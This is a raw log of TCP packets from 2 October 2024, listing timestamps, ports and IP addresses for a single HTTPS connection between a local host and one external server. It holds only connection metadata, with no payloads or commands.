Oct 2, 2024 06:11:33.176562071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.176568031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.176992893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260149002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260188103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260229111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260243893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260288000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260288954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260515928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260533094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260770082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260776997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260936975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260961056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.260965109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.260972023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261003017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261110067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261496067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261512995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261563063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261569023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261698008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261864901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261902094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.261969090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261969090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.261975050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262260914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.262264967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262290001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262310982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262324095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.262447119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.262451887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262537003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.262936115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.262953043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.263031960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.263031960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.263037920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.263187885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.267216921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.267256975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.267292976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.267298937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.267365932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.267365932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351006985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351031065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351119041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351135015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351268053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351294994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351341963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351347923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351381063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351443052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351713896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351728916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.351866007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.351871967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352165937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.352423906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352441072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352566957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.352572918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352638006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.352880955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352904081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352936983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.352941990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.352967978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353041887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353312969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353331089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353672981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353678942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353818893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353849888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353856087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353866100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.353888035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353930950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.353931904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.357909918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.357927084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.358033895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.358033895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.358042002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.358280897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.441656113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.441692114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.441725969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.441745043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.441781044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.441800117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.442054987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442070961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442128897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.442136049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442178965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.442539930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442554951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442612886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.442619085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442668915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.442977905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.442992926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.443053961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.443058968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.443099976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.443526030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.443542004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.443598032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.443603992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.443655014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.443999052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444015026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444063902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.444067955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444102049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.444134951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.444437981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444459915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444509029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.444514990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.444545984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.444561005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.448630095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.448647022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.448704004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.448709965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.448753119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.532728910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.532749891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.532846928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.532861948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.532903910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533504009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533520937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533564091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533569098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533577919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533596039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533611059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533649921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533654928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533744097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533912897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533926964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.533982038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.533987045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.534033060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.534552097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.534565926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.534604073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.534609079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.534634113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.534650087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.534985065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.534998894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.535052061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.535056114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.535084963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.535103083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.535418034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.535433054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.535486937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.535491943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.535528898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.535552025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.539518118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.539546013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.539581060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.539586067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.539611101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.539632082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.623948097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.623975992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624025106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624038935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624070883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624089956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624376059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624409914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624439955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624444008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624471903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624490976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624773979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624790907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624834061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624839067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.624862909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.624881983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.625318050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.625334024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.625374079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.625379086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.625408888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.625437975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.625953913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.625971079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626013041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626014948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626035929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626044989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626065969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626080036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626085043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626111984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626137018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626625061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626642942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626682043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626688004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.626713991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.626733065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.630387068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.630404949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.630455017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.630460978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.630501032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.630520105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.630733967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.714658976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.714682102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.714761019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.714776039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.714823961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.714999914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715018988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715058088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715064049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715094090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715102911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715543032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715559006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715612888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715619087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715667009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715775013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715790987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715835094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715840101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.715864897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.715889931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.716392040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.716409922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.716463089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.716469049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.716500998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.716514111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.716905117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.716921091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.716968060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.716972113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.717001915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.717015028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.717402935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.717417955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.717479944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.717485905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.717528105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.720949888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.720967054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.721081018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.721086979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.721139908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.805305004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805327892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805452108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.805464983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805552959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.805701017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805716991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805769920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.805775881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.805833101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806165934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806181908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806241989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806246996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806277990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806297064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806534052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806559086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806597948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806602955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.806633949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.806653023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.807094097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807116032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807161093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.807167053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807193041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.807207108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.807601929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807619095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807698011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.807703018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.807748079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.808192015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.808206081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.808263063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.808269024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.808320999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.811655998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.811672926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.811744928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.811750889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.811794043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.852343082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.896073103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896097898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896193027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.896208048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896282911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.896488905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896503925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896543980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.896549940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.896579981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.896595001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897061110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897077084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897119999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897125959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:33.897151947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897166967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:33.897346020 CEST	443	49723	167.114.14.168	192.168.2.8
